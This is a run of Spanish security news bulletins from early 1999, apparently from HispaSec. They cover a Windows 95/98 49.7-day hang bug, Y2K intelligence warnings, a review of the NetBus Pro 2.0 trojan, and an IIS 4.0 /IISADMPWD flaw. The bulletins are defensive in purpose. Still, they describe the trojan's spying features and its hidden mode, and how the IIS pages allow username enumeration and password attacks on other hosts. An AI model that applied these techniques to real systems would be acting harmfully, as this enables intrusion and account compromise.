Se ha descubierto un nuevo bug en Windows 95 y 98 que provoca el
bloqueo total del equipo después de exactamente 49,7 días de uso
continuado.
Microsoft ha confirmado que debido a un problema en los algoritmos
de manejo de tiempo de Windows 95 y 98 un sistema puede quedar
bloqueado tras un uso continuo de 49,7 días. La empresa de Bill
Gates ofrece un parche para solucionar este problema, aunque
advierte que se presenta sin testear completamente, por lo que
sólo recomienda su instalación a aquellos usuarios que hayan
evidenciado este problema.

El error se presenta a través de un problema en el algoritmo de
tiempo del archivo Vtdapi.vxd. Siguiendo la norma habitual de
Microsoft para este tipo de avisos, ofrece todo tipo de
descripciones de este archivo en los sistemas afectados en
versiones inglesas, aunque no detalla ninguna información adicional
sobre versiones internacionales.

A pesar de todo ello, resulta digno de mención que Microsoft
notifique este bug cuando la gran mayoría de sus clientes se hacen
eco de repetidos cuelgues, bloqueos y errores del sistema de forma
diaria. Son muchos los usuarios que ante este anuncio se han
preguntado en que condiciones ha conseguido Microsoft mantener una
máquina con estos sistemas operativos funcionando mes y medio de
forma continuada.

Por otra parte, resultaría extraño encontrar un equipo que tenga
la necesidad de trabajar tanto tiempo seguido con Windows 95 o 98.
Los sistemas operativos afectados están dirigidos al sector
doméstico, el cual hace uso de los ordenadores de forma interrumpida.
Para otro tipo de necesidades profesionales, como un servidor que
debe estar encendido y prestando servicio continuo durante años se
desaconseja el uso de estos sistemas. En dichos casos, se debe
recurrir a soluciones como sistemas Unix o Windows NT en caso de
precisar una compatibilidad con el entorno Windows.

Un bug muy similar a este, en alusión al archivo vcache.vxd, fue
descubierto recientemente por el equipo de betatesters de
Windows 98 SR. Bajo Windows 95 el registro para la vcache era de
32 bits, lo que permitía almacenar billones de entradas a la cache
antes de que este registro se llenara. Pero bajo Windows 98, ocho
de los bits se emplean para otros fines, por lo que el número
queda reducido a 24, limitando a 16 millones el contador de accesos
a la cache antes de que el registro se colapse. Si esto ocurre, se
ralentizará considerablemente el rendimiento del sistema e incluso
dejarán de funcionar determinados programas que no contemplen su
funcionamiento sin vcache. La única solución ante este problema
es reiniciar de nuevo el ordenador.

Microsoft confirma que ambos problemas estarán solucionados en la
inminente Windows 98 SR (la equivalente a la ya conocida versión
OSR2 de Windows 95). Esta versión estará disponible a lo largo de
este mes, aunque este producto sólo podrá ser empleado por los
distribuidores para su instalación en máquinas nuevas.

Más información:
Soporte de Microsoft
CNET


Antonio Ropero



miércoles, 3 de marzo de 1999

La CIA. ante el año 2000

El servicio de inteligencia Norteamericano avisa que el problema
de la entrada del nuevo milenio podría causar serios problemas
en algunos países en los sistemas de misiles, suministros de agua
y gas, reactores nucleares, etc.
El vicesecretario de defensa estadounidense, John Hamre, informó
que según los informes de inteligencia en su poder, son posible
dificultades en los envíos de gas en la ex Unión Soviética. Si
esto sucediese causaría un caos porque estos cortes de suministros
en pleno invierno en lugares como Ucrania o Rusia podrían crear
un malestar en la población y movimientos entre las masas. Hamre
informó que los errores debidos al bug del 2000 no necesariamente
tienen que empezar a suceder con el cambio de año, por lo que se
prevé empezar a controlar estos entre los meses de septiembre de
1999 y marzo del 2000. Estos problemas se controlaran en una
instalación de vigilancia conjunta entre USA y Rusia en Colorado
Springs.

Los países en vías de desarrollo como China podrían sufrir con
mayor virulencia la entrada del milenio con probables daños en
sectores como telecomunicaciones, electricidad y banca. En cambio,
los países árabes que se rigen por el calendario musulmán,
podrían no ser conscientes del bug del 2000 porque aunque se
rigen por un calendario diferente no es el caso de sus
ordenadores.

Los Estados Unidos hacen culpables de los posibles fallos de sus
sistemas a la falta de previsión de los países aliados, ya que
tachan a estos de falta de previsión. Entre los países europeos
que no han hecho aún lo suficiente para contrarrestar la entrada
del nuevo milenio se encuentran Francia, Alemania, Italia y
España pero aún mas grave es la falta de previsión de Japón por
su potencial económico.

Una prueba de la preocupación del Gobierno Norteamericano es lo
expuesto por la comisión del Senado que ha estudiado el problema
que dice al respecto "Los estadounidenses deben prepararse para
el problema del año 2000 en los ordenadores como lo harían de
cara a un huracán, almacenando alimentos enlatados y agua
embotellada".

Más información:
El Pais
CNN


Antonio Román



martes, 2 de marzo de 1999

NetBus Pro 2.0, nueva versión del troyano

Sale a la luz la última versión de NetBus, el troyano que hasta
el momento rivalizaba en popularidad con el archiconocido Back
Orifice y que afecta a las versiones Windows 95, 98 y NT. En
HispaSec os presentamos los resultados obtenidos tras probar
esta nueva entrega que incorpora importantes novedades.
En esta versión encontramos las típicas funcionalidades, que
también se encuentran en Back Orifice, como son la obtención de
información de los sistemas remotos, caché de contraseñas, subir
y bajar ficheros, capturas de teclado y pantallas del ordenador
remoto ó la posibilidad de incorporar plug-ins.

A todo ello debemos de sumar nuevas características, como son el
poder escuchar a través del micrófono, capturar de dispositivos de
video (webcams), acceso y edición del registro, chatear y hasta la
incorporación de un programador de tareas para ejecutar scripts en
un momento determinado sin necesidad de que el cliente "atacante"
esté conectado. Por si fuera poco, NetBus Pro 2.0 incorpora soporte
multilingue, por lo que pronto estará disponible la versión en
castellano, lo que seguro aumentará la difusión de este troyano.

NetBus Pro puede bajarse en un ejecutable de 1,7mb que instala la
utilidad, como si de una aplicación comercial se tratara, con una
interfaz cuidada. Entre los ficheros nos encontraremos con
NBSVR.EXE (610kb), archivo que se tendrá que instalar en el
ordenador remoto (víctima). Cuando ejecutamos NBSVR.EXE crea en el
mismo directorio dos archivos, la librería NBHELP.DLL y LOG.TXT,
donde se guardará registro de todas las conexiones que se lleven
a cabo (IP y usuario), así como las actividades que se realicen.

A diferencia de otras versiones, el servidor en esta ocasión queda
visible, con lo que NetBus Pro 2.0 demuestra su enfoque como
herramienta de administración remota, queriéndose alejar del enfoque
underground. Sin embargo, existe la posibilidad de poner el servidor
en modo invisible, con lo que podrá pasar inadvertido en un sistema
y funcionar como un verdadero troyano. El puerto TCP que utiliza
para escuchar las conexiones es el 20034. A priori, el número puede
decir bien poco, pero si lo pasamos a hexadecimal obtendremos 4E42,
y estos dos bytes pasan a ser en ascii "NB", iniciales de NetBus.

Como en el resto de troyanos aconsejamos el uso del comando
NETSTAT -A, con el que obtendremos el listado de conexiones y
puertos a la escucha, para comprobar si tenemos el puerto 20034
activado y estamos afectados. La desinstalación pasa por ejecutar
la aplicación REGEDIT.EXE, acceder a la trayectoria:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\RunServices
y borrar la entrada "NetBus Server Pro" que contendrá el valor
"[path]NBSVR.EXE".

Una vez salgamos del editor de registro procederemos a borrar los
ficheros NBSVR.EXE, NBHELP.DLL y LOG.TXT. Para ello, lo más cómodo
será reiniciar el sistema en modo MS-DOS y utilizar el comando DEL,
ya que desde Windows no se podrá borrar el ejecutable al encontrarse
en uso por el sistema. Una vez seguidos todos estos pasos podremos
volver a encender la máquina que se encontrará entonces libre del
troyano.

Por último, de nuevo aconsejamos que bajo ningún concepto ejecuten
programas de dudosa procedencia, en especial de aquellos recibidos
por IRC, ICQ ó email.

Más información:
Webs oficiales de NetBus: http://netbus.org
http://netbus.nu


Bernardo Quintero



lunes, 1 de marzo de 1999

Ataque a cuentas de usuario a través de IIS 4.0

Una de las características de administración de Internet Information
Server 4.0 permite la administración de cuentas de usuario a través de
las páginas web, pero esta característica es accesible por cualquier
usuario anónimo a través de Internet.
Internet Information Server 4.0 tiene una interesante característica
que puede permitir a un atacante remoto comprometer las cuentas de
usuario locales en el servidor web. Si el servidor web se encuentra
tras un firewall efectuando una traslación de direcciones de red las
máquinas protegidas también pueden ser atacadas.

El problema viene dado porque durante la instalación del servidor se
elige la opción de «Administración Web», para lo que se crea el
directorio virtual «/IISADMPWD». Este directorio contiene varios
ficheros htr, a los cuales puede acceder cualquier usuario anónimo sin
restricción a la dirección local 127.0.0.1. El directorio /IISADMPWD se
encuentra físicamente en la ruta c:\winnt\system32\inetsrv\iisadmpwd.

Los ficheros que se albergan en el directorio /iisadmpwd permiten a un
usuario cambiar su password a través de una página web, pero también
puede ser usuario por un atacante para comprometer las passwords o
para averiguar nombres de usuario válidos. Si la cuenta de usuario no
existe se devuelve un mensaje de "invalid domain" (dominio no válido),
pero si el nombre existe y la password es errónea un mensaje lo
indicará.

Si una dirección IP seguida de una barra inversa (\) antecede el nombre
de una cuenta de usuario el servidor IIS contactará con la máquina
remota a través de una sesión NetBIOS e intentará cambiar la password
del usuario (IPADDRESS\ACNAME).

Por ejemplo, el archivo aexp3.htr proporciona un formulario html en el
que solicita el nombre de usuario, la password antigua, la nueva y la
confirmación de esta. Si la información introducida es correcta se
cambiará la password del usuario. Para evitar el problema la mejor
solución pasa por borrar el directorio virtual /IISADMPWD, aunque si
se requiere este servicio se puede limitar el tráfico a través del
puerto NetBIOS a las direcciones deseadas.

Más información:
Bugtraq: http://www.geek-girl.com/bugtraq/1999_1/0897.html


Antonio Ropero